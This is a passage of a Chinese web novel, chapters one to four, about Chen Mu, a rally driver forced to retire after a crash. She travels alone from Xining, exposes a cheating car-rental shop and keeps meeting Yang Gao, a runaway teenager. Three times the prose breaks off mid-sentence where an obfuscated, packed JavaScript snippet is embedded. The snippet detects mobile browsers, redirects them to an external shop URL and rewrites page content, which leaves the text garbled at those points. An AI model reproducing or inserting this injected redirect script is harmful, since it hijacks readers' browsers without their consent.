《她的车尾灯[公路]》 1. 手抓 陈睦其实从没想过要去死,但是好家伙,没人信啊。 刚一下飞机,手机里乱七八糟的消息和未接就来了。她看一眼,俩眼一闭,一个都不想回。 这时候打进来的,恰巧是豪豪,她就接了:“喂。” 谁料那边扯起嗓子就喊:“接了接了!来哥,她接……” 话没说完,手机就已经被抢了过去:“喂,睦睦你在哪呢?我给你打了好多电话你看到了吗?” 陈睦强忍着直接挂掉的冲动,回了一句:“徐经理,我都离队一年了,还得随时待命吗?” 对面因这个称呼而顿了几秒,然后才说出话来:“你明知道我不是以车队经理身份找你。” 哦,不是车队经理身份,那是什么呢?以她的领航员身份? 哦哟造次了,她都不是赛车手了哪来的领航员啊,人家徐来现在是作为赛车手亲自上阵CC拉力赛,参加那场她曾经日思夜想的国际赛事。 陈睦很想把这些话说出来,但是这将暴露她比针尖还小的肚量,以及滔天的嫉妒和不甘。 于是她清清嗓子,故作姿态:“咳,你好好比赛,少管我的事。我出来旅游呢,刚下飞机。” “旅游?你去哪旅游了?有人陪你一起吗?” 没完了是吧? 陈睦眉头皱起:“怎么着,我一个人还不能旅游了?” “不是……”对面崩溃地长吐一口气,“我很担心你。你在家里待了一年,我劝你出去走走你都不愿意,为什么偏偏就是CC拉力赛这几天……” 他哭腔都上来了:“我怕你想不开,我怕你出事。明明其他任何时候我都能陪你一块儿,唯独这几天不行……你要真有什么不好,那我、我这辈子都不会原谅自己的。” 陈睦后槽牙都快咬碎了。 她很想说“合着你这跟我炫耀来了是吧”“你觉得我听你说这话我能高兴得起来吗”“你小子是不是生怕我想开了”。 但她还是忍住了。她毕竟是不希望徐来一分心直接死赛道上。 于是陈睦闭眼,做了几次深呼吸,就像每次比赛前做的那样。 然后倏忽睁开眼睛,好像她已来到人声鼎沸的赛场:“系好安全带,细腻控制油门,入弯刹车别太早。这几天最容易出事的是你,不是我。” 这语气倒不像是心怀死志的样子。 徐来这才镇定了一点,静了几秒调整情绪,又问:“睦睦,明天你会看比赛直播吗?” “我旅游呢我看什么直播?” “好吧……你放心,这场比赛,我会连带着你的那一份一起努力的。” 不是? 谁要你带了?不就是个破比赛吗有什么了不起的?! 陈睦扶着墙大喘气,几乎以为自己已经开始高反了:“开好你的车,其他事情不用你操心。” “嗯嗯,我会的。哎睦睦,那你现在到底在哪……” 陈睦把电话挂了。 她都多余接这电话,她就该把这帮没眼色的蠢货通通拉黑! 怒意加持下,陈睦加快了步子,平底大头的马丁靴踏在地上哐哐作响,行李箱轮子转得飞起。 而在她路过的那块路牌上,明晃晃地写着——“我在西宁很想你”。 * 其实陈睦今天上午看了赛前的探路直播,只是没几分钟就看破防了。 那条赛道上,有广袤丰硕的草原,一望无际的戈壁,幽深神秘的沙漠……还有,至高无上的荣耀。 曾几何时,陈睦那么坚定地认为自己一定能走上CC赛场,车队成员们则比她还狂——他们认为只要有陈睦在,拿个CC冠军不成问题。 谁能想到最后整个车队去了比赛现场,唯独陈睦不在。 她在直播里看到徐来、豪豪他们了,几个人正站在路边喝水,很认真地讨论着什么。 其实一般人在这样的赛场上看到曾经并肩作战的队友,那得激动吧?得欣慰吧?可能还觉得自己多年付出并非毫无意义吧? 但陈睦不是,这场面硬是看得她心如刀割,泪流满面。 怎么说呢,这伙人要是没能走到CC赛场,那她得气恼、愤恨,痛骂他们全是废物。 但他们走到了CC赛场,那陈睦就羡慕、嫉妒,想跟他们老死不相往来。 同时陈睦也终于接受了现实——明天比赛就要正式开始了,她就是倒在了半山腰。 新的赛车神话中,没有她。 继续消沉下去显然不是个事儿,还是得找点能提起劲来的事情做,但陈睦想了一圈,还是想开车。抓心挠腮地想开车。 刚巧往下一刷就是西北大环线的自驾视频。 解说词也激动人心,说这条环线是“囊括除了海洋以外所有地貌”的绝佳旅游线路,草原、湖泊、沙漠、戈壁、丹霞、雅丹……应有尽有。陈睦越听越精神,眼泪也不知觉地收住了。 直到屏幕上闪过一个特别戳心的画面——一个美丽少女在五彩经幡下抱着小奶羊,那种新生的神圣力量,让陈睦直接买了当天的机票。 所以她下飞机的这会儿,是晚上十一点。 是谁说这边昼夜温差大晚上要穿冲锋衣的啊,陈睦站在机场门口略一感知——确实没有杭州那么热,但毕竟是7月下旬的天,20度肯定还是有的。 小风一吹,还挺舒服。 但架不住她饿得快死了。那点飞机餐根本不够她塞牙缝,何况吃完都这么大会儿了,现在的感觉就是给她一整只羊她都吃得下。 于是连酒店入住都来不及办,拖着行李箱就打车直奔手抓店。 这个时间西宁大街上已经没什么人,还开门的店也属实不多了。陈睦进去时里面另有一桌在吃,桌上看似清汤寡水的羊肉,飘出来的香味却把陈睦香一跟头。 她拿出事先团好的二维码:“你好,这个券可以用吗?” “团了券是吧?可以的,我帮您验一下。”老板很热情,掏出手机就要验券。 但他很快发现了哪里不对,于是仰头看向陈睦:“美女,这个是双人餐哦。” 陈睦:“我知道,团的就是双人餐。” * 店里灯光温和,窗明几净,看一旁的一列小隔间挺有民族特色,陈睦就坐进去了。 还挺好玩,像开了单间,墙上还有个水龙头,也不知道是干啥的。 很快,两杯“三炮台”就端了上来。 用的是那种常见的盖碗,但陈睦一揭开茶盖就惊了,里面花花绿绿全是料——茶叶、冰糖、红枣、枸杞、桂圆、核桃仁、猕猴果干、波罗蜜干……这些是陈睦能认出来的,其他还有些她认不出来的,满满当当填充了整个盖碗。 老板看得出她不是本地人,贴心地用墙上的水龙头帮她加了第一遍开水,临走不忘告诉她五分钟后把这些水倒掉,这叫洗茶,等加第二遍水后再用茶盖刮着喝。 真有门道啊。 陈睦依言定了个五分钟的闹钟,然后百无聊赖之中,开始看之前收到的那些未读消息。 * 一开始无非是问她干嘛呢,让她回电话,说她在这种时候突然断联,搞得大家都心神不宁的,尤其是徐来,都要急疯了。 后来就成了“求你了姐,快回电话吧,再这么下去来哥非得飞回去找你不可”“你不能这么搞人心态啊,你明知道这种比赛一个搞不好要送命的,你就一点都不担心来哥吗”“叫了外卖去敲门说没人应,你到底干嘛去了?难道你参加不了CC,就要所有人都不安生吗?” 尤其是一条来自豪豪的消息,把陈睦给看沉默了:【睦姐,都知道你骄傲好面子,这一年来我们小心翼翼地联系你、照顾你,从来也不敢催你振作。但如果你因为没能去成CC赛场而做什么傻事……那我们每个人都不会原谅你的!】 这啥呀这是?啊?! 陈睦气得按下语音键就想开骂,刚好手机叮铃铃响了起来。 哦,是她的闹钟响了,得把第一遍水倒掉了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227677|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈睦只得把骂人的事暂且放一放,先把茶水倒向桌边的不锈钢脸盆。 就在这时,一辆汽车伴随着“恐龙扛狼”的声音驶近,并在停车熄火时发出垂死的喘息声。 陈睦听得连连摇头,想不通这么破的车怎么还将就着开呢,难道是年纪大了不惜命了吗。 然而随着店门一开一关,一股子香气传来。 没开玩笑,那下车进店的人路过她桌边,周身的异香让她愣了三秒。 抬头一看,是个……小男孩? 其实个子挺高,但面相略显稚嫩;小脸明显刚哭过,但整个人又杀气腾腾的。 由于小单间阻碍视线,陈睦甚至把头伸出去看,一不留神开水浇在了手指头上。 陈睦:哦费费费费。 * 小孩哥没团券,直接单点了一斤羊脖子,一碗三炮台。 然后在陈睦隔壁间坐下了。 可能是隔断给他的私密感很强,他开始毫无戒备地打电话,但声音其实听得清清楚楚。 是因为被气哭而发抖的颤音,那气势好像能撕碎全世界:“你不用劝了表姐,我不会回家了,我永远不会回家了!他们俩实在太过分了!” 对方不知道说了什么,小孩哥更加激动:“是我不沟通吗?他们就觉得他们永远是对的,我怎么跟他们沟通?你有空骂我还不如去说说他们!” 陈睦听着这动静就喝上了茶,确实别有一番风味——有茶的醇厚,枣的焦香,黄|冰糖的甘甜,还有果干的微酸。 因为饿急眼了,她甚至拿筷子吃起了料,小核桃一口一个嘎嘣脆。 隔壁还在继续:“我怎么就不能生活了?我18岁了,我打工有人要吧?我带相机了,我给人拍照能赚钱吧?我怎么就必须回家了?” 刚好新一轮手抓羊肉出锅,陈睦的那份先端上来:“您好,您的一斤羊排,请慢用。” 然后隔壁桌的也到了:“您好,您的一斤羊脖子,慢用。” * 羊肉,香是没什么稀奇的,奇就奇在它能一丁点膻味都没有。 看着没色彩没食欲,但一口咬上去,就是恰到好处的香料味道,鲜嫩软烂,满口|爆汁。 店家给配了一份烫过的白萝卜解腻,另有一份干料、一份湿料可蘸。陈睦都尝试了一下,还是决定就这么空口吃,是怕蘸了酱就吃不出这个鲜味儿了。 等到几块下肚,饥饿总算稍稍缓解。 这时陈睦两手都已经碰过荤油,玩手机显然是不方便了,只能听着隔壁的声音下饭。 别说,还挺好听的:“哎哟,你跟我爸妈说到底都是一类人!我跟你说不明白,你也根本不听我说话,那你还给我打电话干嘛呢……我啊,我现在到西宁了。嗯,在西宁吃手抓呢。” 估计那边是夸了他两句,他语气也缓和不少:“当然啦,开车有什么好怕的。我上周就拿到驾照了,有驾照就能开。” 但很快又再次破防:“我不吃夜宵我饿啊!我又不胖,怎么吃点东西你也要管!难道饿着肚子就对身体好了吗?我现在已经连吃饭自由都没有了吗?!” 可怜见的。 陈睦也有过这么个阶段,抽条的时候一天吃八顿,吃完就饿吃完就饿,吃得她自己都嫌怕。 还是年轻好啊,吃了晚饭夜宵还能干一斤肉。 这么想着,陈睦只觉得眼皮子越来越重,嘴也渐渐进入了无意识咀嚼状态。 然后在濒临入睡时,一个激灵反应过来——她好像快饱了。 天啊,这就是颓废一年的结果吗?放在之前比赛的时候,这才哪到哪? 陈睦惊讶之余还有点失落,这似乎是明晃晃地在提醒她,她的身体已经远不如从前了。 但这又怎么样呢?反正她又不赛车了,差点儿就差点儿呗。 陈睦叹了口气。 她刚想放过自己,便听隔壁抬手喊道:“老板,再来半斤羊脖子!” 你小子。 2. 租车 一个边吃边哭,一个边吃边睡。 后半程陈睦也不知道隔壁都唧唧歪歪了些什么,就着剩下的几块羊肉又吃了碗面片。 还剩一份面片实在吃不下了,看着可惜,但无能为力。 陈睦扁扁嘴,最后喝了杯三炮台解解渴,然后拽上行李箱起身。 往门口走时要路过隔壁间,陈睦特地看了眼桌上——第二盘里头还剩好几块肉没吃,明显也是吃不动了,正坐那愣神呢。 或者说,正忧伤呢,正思考人生呢。 陈睦身板都直了不少,因为觉得自己吃赢了。 但看孩子这样儿,她又觉得挺可怜的——正是精力最旺盛的年纪,智力却还没跟上,对世界的理解不够深刻,整个人迷茫又不自由。 任谁都能教育他两句,连吃饭都不自由。 不过陈睦也没放过他。 她路过时敲了敲少年的桌边,低头提醒:“你那车别开了啊,报废边缘了,真出什么事儿你处理不了。” 出行也不自由。 * 但陈睦就自由了吗?她也没好到那里去啊。 她再也没法感受那种油门焊死的快|感了,甚至连那个在赛场上贴地飞行的梦,近来都不怎么做了。 西宁住宿资源丰富,即便是旺季,即便是“说走就走的旅行”,找个住的地方还是不难。 陈睦很快办好了入住,回到房间插起门卡,再把房门一关,熟悉的失落感便涌上心头。 是啊,关起门来就没必要再去扮演一个精气神正常的人了。新闻里、直播里、UP 主的解说视频里,那些充满惋惜的话语就是构成了陈睦的人生。哪怕她拼尽全力想要对抗他们口中那种“天才陨落”“史诗终结”的定论,此刻的寂静也分明地提醒着她,她确实是个失败者。 明天比赛就要开始了,她为什么还在这里呢? 陈睦不敢细想,只是把自己摔进酒店大床里,好在这一天她把自己折腾得够累,几乎立刻就沉入梦乡。 * 累点好啊,平时在家4点睡2点醒,现在出来玩0点睡10点醒。 至少睁眼还是上午。 习惯了赖床的身体已经不可能醒了就起,陈睦迷迷糊糊摸过手机,决定先琢磨租车的事。 首先要明确的是,接下来要开的是公路不是赛道,路上哪哪都有限速,所以车的极速对她来说其实并不重要。 其次她就一个人,衣物也就一个行李箱,所以对车的大小要求也不高。 真正重要的是,想欣赏沿途风景的话,她需要尽可能大的前窗;想开特殊地形的话,车的底盘不能太低;想下戈壁撒欢的话,也不能动力不足卡地里。 以及最重要的——以她现在的生活状态来说,她其实没什么钱了。 与看似粗糙的行事作风相对的,陈睦其实并不是骨子里的月光族,她会有一定的存款依赖,平时做事也算比较有规划。 别看以前换个轮胎几万块眼都不眨,那是因为徐来源源不断地在往队里填经费,陈睦仗着自己有本事赚奖金,也不会跟他客气什么。 那现在既然本事没了,还是要谨慎下单。 她一开始看的还是大平台,越看手心里汗越多——她这一趟出来还没决定要玩几天呢,就按7天算,租金、油费、ETC、停车费一加,算着算着就已经上万了。 就算把标准一降再降,瞄准了戈壁滩上最常见的坦克300,全加起来也得大几千。 陈睦躺在那里闭着眼睛捶额头,再睁开眼时就决定投奔小作坊。 还真让她找到一家报价低的,提车点也近。 于是一个鲤鱼打挺爬起来,洗澡刷牙,前去提车。 * 西宁海拔2200多米,天蓝得不像话,太阳照在地上,反上来的光都刺眼。 陈睦穿了防晒服工装裤,墨镜是她常用的偏棕镜片,太阳帽和围兜面罩是一套黑色款,看上去像个刺客。 她兜了点圈子才找到那个提车点,门店有点小,藏在一颗大树后面。 一进门陈睦就脑壳疼——说不看直播不看直播,架不住这租车行老板正在店里投屏观看呢。 比赛早就开始了,画面上的这个机位架在一个飞坡前,一辆辆精心改装的豪华赛车接连飞过,快得连车上的纹样都看不清,只能大致看个色儿。 偶有有竞争力的选手飞过,画面才会暂停,由主持人讲解车队信息。 车行老板早看上头了,有人进来都不知道,还自言自语:“我的天,这摄影机架这儿也够危险的,很容易就给创翻了吧?” 陈睦还没说话,身后那个有点耳熟的声音就已经传来:“摄像机。” 她和老板双双扭头看过去。 昨天那离家出走的小帅哥一边关推拉门一边纠正:“摄像才是录视频的,摄影是拍照的。” * 嘶——别说,这个事儿陈睦倒还真没注意过。 从字面上来说“摄像”听起来像是拍个静态人像,“摄影”像是捕捉动态影像,没想到其实是反过来的。 她又把这小伙子从上到下打量了一遍——挺高的,跟她差不多个头,穿着薄荷绿的T恤和咖色短裤,猛一看容易想起那个薄荷巧克力的gelato。 还挺会搭。 他没做什么防晒措施,但是也没晒多黑,而且作为新手能开着那个破车抵达西宁的话,他家应该就住在这附近。 这么一想,陈睦这一路走过来看到的本地人确实少有穿护袖戴墨镜的。是习惯了?还是陈睦她自己防护措施做过头了? 带着这样的困惑,陈睦试着摘了一下墨镜,往店外那么一看。 店外地砖是浅色的,那一瞬间,她以为自己会曝盲。 * 还是老实地把墨镜戴了起来。 小伙子那边还没科普完:“而且这个用的是长焦镜头,应该是索尼200-600mm,看上去机位距离赛道实际有200多米,撞不到的。” 陈睦听得忍不住笑了一下。 孩子可能很了解摄影摄像,但对赛车真是一无所知——就这个车速,真要是开飞了,撞个200米开外的东西根本不成问题。 但店长就很不爽,他显然既不了解摄像,也不了解赛车,只是皱起眉头看了小伙子一眼:“你干什么的?” “我租车。” 陈睦一下子好胜心又上来了:“哎,我先来的。” 她不再管那小伙子,调出订单页面就上前去:“你好,在网上下过单了,这是你们店对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227678|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 店长看一眼,语气还是略显懒散:“哦,坦克300是吧?我给你拿钥匙。” 与此同时,画面被定格在了一辆飞过的红色赛车上,车身的纹路像极了火焰。 画外音是主持人的声音:“我们现在看到的是火焰车队,此前被认为是最有望夺冠的车队之一。” 另有解说嘉宾应和:“是的,这个车队也是知名度非常的高啊,近年来杀出重围的车手陈睦就曾效力于火焰车队。” 主持人:“对,不熟悉赛车运动的观众可能不了解,但是对于赛车手来说,不管是职业的还是非职业的,陈睦的名字都可以说是如雷贯耳。您能为我们大致介绍一下这位选手吗?” 随着嘉宾的解说,陈睦的个人信息便呈现在屏幕中央:“好的。陈睦选手是我们赛车运动中比较少见的女性车手,同时也是普通人家出身的赛车手的一个典型代表。在这样的条件下,她之所以能够脱颖而出,归根究底是因为她在比赛中表现出了超凡的天赋,在过去几年的赛事中可以说是逢赛必奖,屡屡得冠。” 主持人:“但是很遗憾的是,今天陈睦选手其实并没有出现在我们的比赛现场。” 嘉宾:“是这样。这位选手在一年前的一次拉力赛中不幸遭遇事故,我们可以看到现场是非常的惨烈,算得上是捡回了一条命。但是经历了这次翻车,陈睦选手的腰部落下永久性损伤,已经无法再进行赛车这样的极限运动……” 随着这样的解说,翻车瞬间的视频插|入进来,在屏幕上循环播放。 陈睦根本不敢往屏幕上看,老板看得倒是入神:“嚯,这开得是有多快啊?我的天!这还能活啊?” 她不得不出声催促:“还没找到吗老板?” 钥匙才从里间递出来:“停车场出门右拐,最边边那辆橘红色的就是。车给你是满油,还车时记得把油加满啊。” * 有时候陈睦觉得自己也挺牛的,一般人经历了那种事可能车都不敢碰了,她倒是没什么压力。 拿到车钥匙找到车,照例先是绕车一周,拿手机录下车身剐蹭和保险杠情况。 从外观看车子是蛮新的,刚想感慨小作坊真是物美价廉,一开车门却发现不对劲儿。 到底便宜没好货。 陈睦叹了口气,又拿着钥匙拖着行李箱跑回店里,也不顾店长正和小伙子说话呢,张口就打断:“哎,能给我换辆新点儿的车吗?” 那店长听起来一点儿不心虚,甚至还有点儿生气了:“我这儿的都是半年内的新车,你自己发动起来看看里程表,那公里数才多少啊?” “嚯,里程表想改示数还不简单?你想改多少我能给你改成多少。”陈睦也不跟他起情绪,只实话实说,“你那车大修过,我一扫眼就看出来了,要真启动了听声音估计更明显。能不能换赶紧的,不能换我看别家去了。” 技俩被戳穿,店长的脸一时间略显红润,但气势还是在:“怎么可能大修过呢?我跟你去看看,这说的根本就不可能……” 说着就跟着陈睦一块儿出门了。 小伙子“哎”了一声,似乎是想先把自己这边的事儿说完,但两个大人没一个管他死活的,留他一个人独自站在店里。 气恼,委屈,又茫然。 3. 自信 所以杨糕对陈睦的第一印象并不好,甚至可以说是有点差。 虽然在车行时陈睦裹得很严实,但他还是认出这是前一天晚上敲他饭桌的人了——主要是很少见到个子这么高的女生。 他特意看了一下,这姐姐穿的是平底靴,鞋底好像也没有内增高,那这样的话再看这个头……还真很难说他俩到底谁更高一点。 不过杨糕倒也不执着于和一个路人比身高。 他知道自家那闲置车快寿终正寝了,所以就算陈睦提醒他时语气不好,他也还是采纳了她的建议,想租个车子继续旅程。 但是因为他也没什么钱,结果就是二人在这个廉价小车行里再次相遇。 这次杨糕是真的很气了——是老板问他“干嘛的”,他才说自己“要租车”,又不是他故意插队,凭什么跟他凶啊?而且你要讲先来后到你就一直坚守原则啊,怎么后面又跑回来打断别人讲话把老板拉走,她不是应该先等他咨询完吗? 好没礼貌,好双标,好不讲道理的人。 这时候再想起这人前一晚说话的语气,虽然本意是好心提醒,但总有一股子居高临下、盛气凌人的味道,怪不得膈应得他半宿没睡好觉。 很烦,不开心。这就是社会吗?以后走上社会会遇到很多这样的人是吧? 而且这么一想这老板其实也挺讨厌的,对客人爱答不理,回答问题也不耐心,谁也不是天生就会租车的,多问两句是会死还是怎么着。 更别说这人的诚信现在也很成问题——如果真是大修过的旧车换新壳,那他家车还能租吗?那个姐姐看起来是懂车的,还能挑选挑选规避风险,他可不懂啊。 这样的话,很容易被坑吧? 杨糕想了想,到底也跟了过去,远远站开几米观看。 * 陈睦其实注意到他了,于是很多原本点到为止即可的话,她故意说得明白了点儿。 她就是想让这小伙子听见,让他知道这里头门道多,这个便宜贪不得,赶紧换大平台去。 “你看看你这个螺丝,有的快锈完了有的还崭新,说没大修过谁信啊?还有你转向柱底下的这个锈,啧,完全符合泡水车特征。”陈睦说着搓一搓手上抹下来的锈,没搓掉。 老板也不可能直接认了,还佯作气恼地辩解:“你要这么吹毛求疵那还真没办法,既然是铁,风吹日晒的哪能一点锈没有呢?我这车每换一个客人我得清洗吧?频繁洗车导致有点锈这没办法的呀!” “洗车能洗出这么大面积、这么规则的环形锈迹?那你得去找洗车的算账了,这是给你泡水里洗的。”陈睦一点儿没客气,一伸手又把座椅往后调了一截,“你再看你这个滑轨,有锈我就不说什么了,有泥沙这算怎么个事儿?还有这地胶……地胶粘着的不好掀我就不掀了,你把车钥匙给我,我打火看看点烟器还正不正常……” 老板倒也没必要给她钥匙了:“行行行姑娘,我跟你说,这是这么个事儿——你要换车我肯定可以给你换一辆,但这并不是说我家车有问题我才给你换的,而是服务范围内的你知道吧?” 陈睦连连点头:“我懂哎,这个价位说实话我心里也有数,但是超出底线的我肯定不能接受,你给换一辆就行——哦对了,事故车跟火烧车,我也能看出来。” * 于是到底被她低价租到了一辆合心意的车。 陈睦还特意在停车场内开了一圈,确定各方面都没问题了才开回原地,乐呵呵道:“谢了老板。ETC有的吧?” 老板也笑脸相迎:“都装好了,保险也齐全。只要车能开回来,其他小的磕磕碰碰都不是事儿。” “好好好,满油是吧?行,还车时我把油加满——你这车加92还是95?” “92就行。” “得嘞,我驾照你还要看吗?” “嗐,你还能没驾照啊,在软件上上传过了就……” 但没等他说完,陈睦已经把自己驾照递出窗口。 老板也只是礼貌性地接过,然后看着驾照上的“陈睦”二字一愣。 下一瞬驾照就被抽了回去,陈睦用两根手指夹着驾照本,嚣张地做了个“bye”的手势:“走了啊老板。诚信经营,宝地生金哦!” * 这是赛车驾照被吊销了的,只能掏出普通驾照来,不然她拿赛车驾照出来得瑟得瑟,肯定更拉风。 就这样愉快地把车开上大路之后,陈睦的嘴角很快又垮下来。 哦,所以呢?搞到真实惠了,那又怎么样? 得亏是没熟人在呢,要让人知道她退役后还以“陈睦”之名在小作坊里耀武扬威,她可得找个地洞钻进去。 陈睦又扁扁嘴,同时告诫自己——普普通通也有普普通通的活法,收起自己那狂妄的嘴脸,做人要谦逊。 就这么做了几个深呼吸,又把躁动的心平息了下来。 至于那个也想租车的小伙子,他在看着陈睦和店长谈笑风生的时候就走了。 可能世界观受到了些许冲击吧——奸商以次充好,内行人能看出破绽并捡到便宜,外行人就只能吃哑巴亏;原本剑拔弩张的两人居然还能笑脸相向,一个是为了低价租车,一个是为了店铺营生。 真是天下熙熙,皆为利来;天下攘攘,皆为利往。 那怎么办呢,世界就是这样哒小伙砸。 陈睦要是他,就先在西宁找个能免费停车的地儿把那破车扔这儿,然后买张票回家认错去。 他太生嫩了,过早接触形形色色的人会破坏那份美好。陈睦当然希望他能尽量久地保持心灵纯真,但也很难说当她这么想着的时候,安的到底是不是好心。 她不由得从那小伙子的视角去看自己——他一定觉得她特别成熟,懂得特别多,特别有魅力吧?肯定从她身上感受到了降维打击、实力碾压吧?可能还会仰视着她,很羡慕地想“哇,这就是真正成年人啊,我什么时候才能做到她这样呢”。 陈睦越想越开心,嘴角又不由得扬起来,为了防止自己笑出声,只能咬住了下唇。 然后咳两声,清清嗓子,伸手去调车载音乐。 她特地选了公路歌单,劲曲咚咚嚓嚓响起的时候,她除了脚以外的整个身体都想跟着律动。 是啊,陈睦怎么会谦逊呢?她这辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227679|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都谦逊不了的。 * 因为环线是以西宁为起始点,最后横竖还是会回来,所以对于西宁的游玩,陈睦倒是不急。 她现在最想做的事就是上路。 早在候机时她就研究过了——从西宁开始绕这个环线的话,要么顺时针转,要么逆时针转。 逆时针先到达坂山、岗什卡雪山,先不说这个季节雪山化没化,关键达坂山海拔3800米,岗什卡雪山海拔4500米,一下子从西宁升上去不知道身体受不受得了。 毕竟这次是一个人开车了,要更加谨慎些。 而顺时针转先到日月山、青海湖,一路上最高海拔不超过3500米,算算时间天黑前应该能下榻德令哈。 同样因为没有领航员的缘故,陈睦事先下载了青海和甘肃的离线地图——她觉得还挺好的,智能导航既不会废话啰嗦一通,也不会一着急就大吼“你到底会不会开车啊”。 最后要考虑的就是补给了。 毕竟是在高原上长时间驾驶,饿得快是必然的。而且还要考虑万一堵车到不了德令哈,又困得实在开不动夜车,那最坏的结果就是睡在戈壁滩上——在车里睡一夜陈睦是不在意的,但饿着肚子睡就太惨了。 所以路边找了家小超市,购入大量卤蛋、鸡腿、玉米肠、士力架,可口可乐、咖啡、东鹏特饮若干,还有矿泉水直接搬了一箱。 恰好旁边就是药店,进去又买了五罐氧气,一瓶鼻腔喷雾,一瓶补水喷雾,一盒面膜。 陈睦一口气全部扛进后备箱,心里总算踏实下来,现在的感觉就是立刻进入末世也没什么问题。 油门一踩本来都准备出发了,却看到路边有酸奶铺子,跟常喝的酸奶不一样,面上有黄澄澄一层奶皮子。 于是又是一脚刹车,下去买了四碗拎回来。 这次是真要出发了! 陈睦再次调整了方向盘和座椅,后视镜调整到合适角度,早已备好的手机号码牌拿出来粘在车窗后,座充也插好,安安心心给手机充上电。 炽热的太阳似乎能给人能量,橘色越野车很快使出市区,驶入群山环抱中。 那里是蓝天白云绿草地,打眼一看都美得跟老式的电脑桌面似的。有那么一瞬间陈睦甚至想唤人和她一块儿感慨,她以为伙伴们都还在她身边。 好在失落感转瞬即逝,她很快就被闪过的一幕吸引了注意力——有个牧民抱着只雪白的小奶羊站在路边,手上还有“拍照10元”的牌子。 只可惜她刚刚没注意,不然就下到路边草地里停车拍照了,到她反应过来的这会儿,车已经开出老远。 不过这个也不急,一路上应该有不少小羊拍照打卡点呢,偌大个西北还能连只小羊都…… 正这么想着,陈睦忽然觉得前面有辆车很眼熟。 是她昨晚吃完手抓在店门口看到的那辆小破车,现在它又摇摇晃晃地上路了。 陈睦真不知道怎么形容自己此刻的心情,大概就是物资齐全的踏实感霎时又被浓浓的担忧侵占。 她眉头一下子皱了起来,口中喃喃:“臭小子,你是真不信邪啊……” 4. 湖边 所以陈睦第一天的计划是从西宁开到德令哈,途径日月山、青海湖、茶卡盐湖。 这段路全长近500公里,不堵车、不超速的情况下,得开6个半小时。 三个景点暂且按每个玩1小时算,那就是9个半小时,顺利的话晚上九点半左右能住下。 但是没想到开局就不顺利。 其实陈睦对日月山还挺期待的,因为最开始把她吸引住的那个抱小羊的网红视频,就是在日月山上拍的。 眼瞅着山坡、经幡就在眼前了,蓝底白字的告示牌却拦住了她的去路,牌上明晃晃写着“景区暂停营业”。 “真的假的啊……”陈睦不由得抱怨出声。 她都已经开始想象小奶羊抱在怀里有多香多软了,现在告诉她羊没了? 前面的车纷纷掉头返回,显然没有通融余地,但陈睦还是不信邪地开到跟前,看到一旁的小字:【因日月山景区升级改造,自即日起停止接待游客,具体开放时间另行公告。给您带来的不便,敬请谅解。】 落款时间是十天前,要是准备充分的话应该能提前知道的,怪不得这一路开过来车越来越少呢。 要了命了。 景区会封锁这是陈睦万万没有想到的,她赶紧把车靠边停,查了一下后面的青海湖和茶卡盐湖。 开放倒是还开放,但这些地方有小羊吗? 陈睦想一想,先查了青海湖附近,说是周边有牧场,想抱小羊很容易,而且还有马和牦牛。 于是点火打灯,调转车头直接前往下一景点青海湖。 * 说到青海这个省份,其实存在感有点低。 有人会把它和山东青岛搞混,还有人会把它和海南岛搞混。更神奇的是,青海有块地方它确实叫海南。 陈睦开着开着,车载导航用甜美的声音告诉她:“您已进入‘海南藏族自治州’。” 至此陈睦总算开始后悔没做更详细的攻略,简直两眼一抹黑,这是到哪了这是? 她唤起语音智能系统:“坦克坦克,介绍一下青海省的行政区划。” “好的。青海省下辖2个地级市和6个自治州,分别是西宁市、海东市、海北藏族自治州、黄南藏族自治州、海南藏族自治州、果洛藏族自治州、玉树藏族自治州、海西蒙古族藏族自治州。” 哦——陈睦就搞明白了,所以这里确实居住着很多藏族同胞,这么一说经幡也是藏族的来着。 她又叫:“坦克坦克,介绍一下经幡。” “好的。经幡又叫‘风马旗’,用棉布、丝绸等材料制成,共有蓝、白、红、绿、黄五种颜色,分别象征天空、祥云、火焰、江河和大地。经幡随风飘动寓意诵经祈福,是藏族文化的重要组成部分。” 车辆继续在绵长的公路上飞驰,时而隐入山中,时而视野开阔。 红白相间的警示柱不断过去,一排排风力发电机悠哉地转动,成群的牛羊在山坡上吃草,大片大片的白云连成各种形状。 在这样的风光下根本感受不到时间流逝,陈睦只觉得没过去多久,车便驶入了一片开阔地带——道路两边是辽远的草地,但又不是那种丰硕草原,可以看见有贫瘠的土地从草的间隙中冒出,土地上零星地长着一些一看就很耐旱的球状植物。 再继续往前,除了草地以外还出现了明亮的黄色缎带,陈睦反应了一下才知道,那是油菜花田。 